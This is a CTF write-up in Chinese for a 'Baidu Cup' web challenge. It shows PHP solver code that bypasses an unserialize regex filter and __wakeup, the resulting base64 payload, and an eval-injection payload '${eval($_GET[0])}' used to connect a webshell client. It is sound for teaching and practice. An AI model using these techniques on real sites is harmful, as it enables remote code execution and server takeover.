CTF日记:“百度杯”CTF比赛 十月场 Hash
点进去之后发现“haha”,而且haha还可以点击,先不要急着点击haha,先查看源代码,发现了参数?key=123&hash=f9109d5f83921a551cf859f853afe7bb;这个东西可能会有用吧,再点击haha,发现:
此时我们的url正是我们刚刚查看的参数,再次查看源代码,发现:
源代码中告诉我们:hash这个参数是把sign参数和key参数拼接起来进行md5加密得到的,其中的key=123我们是知道的,现在就要通过爆破求解sign,说句实话,我看到网上的那些解题思路并没有说sign是怎么求解出来的,直接给出了sign=kkkkkk01,还说是hash解密的出来的。。。爆破8位数的hash难度还是不小的,而且题目也没有明确8位数的范围,所以就是数字+字母+标点符号,一起爆破,难度可想而知。
继续往下走吧,破出sign之后,根据提示说,key如果不是123,就会获得flag,那我们试一下,key=124,将hash用md5算出来,构造url。
http://e16dfc5ccf744c9cac52d49bc37c97d6d898d63656674142.changame.ichunqiu.com/index.php?key=124&hash=77dab7fc0322d9b23ccd6f2e95a065ba
又给了我们新的提示:
访问Gu3ss_m3_h2h2.php
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
?>
看到wakeup()函数,想到了这是序列化的漏洞,wakeup()一旦执行就会调用反序列化函数,为了绕过wakeup()我们将数据的属性值大于真实值即可。
还有对/[oc]:\d+:/i,这个正则表达式的绕过,我们只需要将:5:变成这种形式:+5:即可绕过正则表达式的匹配。
最终的秘密在f15g_1s_here.php里面,先将f15g_1s_here.php作为参数传入Demo9函数,将整个函数实例化赋值给变量a,再序列化变量a,绕过正则,绕过wakeup函数,最后再进行base64编码。
所以,解题代码如下:
<?php
$a = new Demo('f15g_1s_here.php');
$s = serialize($a);
$s = str_replace('O:4', 'O:+4',$s);//绕过正则
$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数
echo base64_encode($s);//最后base64编码
运行的结果:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
又得到了这些源代码:
<?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
}
?>
代码中要求我们以get的方式传递一个val参数,对这个参数进行添加反斜杠的过滤方式。addslashes()函数会对单引号,双引号,反斜杠,以及%0,添加反斜杠。我们可以通过这个payload来绕过:
${eval($_GET[0])};
通过中国蚁剑连接:
flag{c942392d-f15b-4cc8-93f9-c8b8d5ce02f1}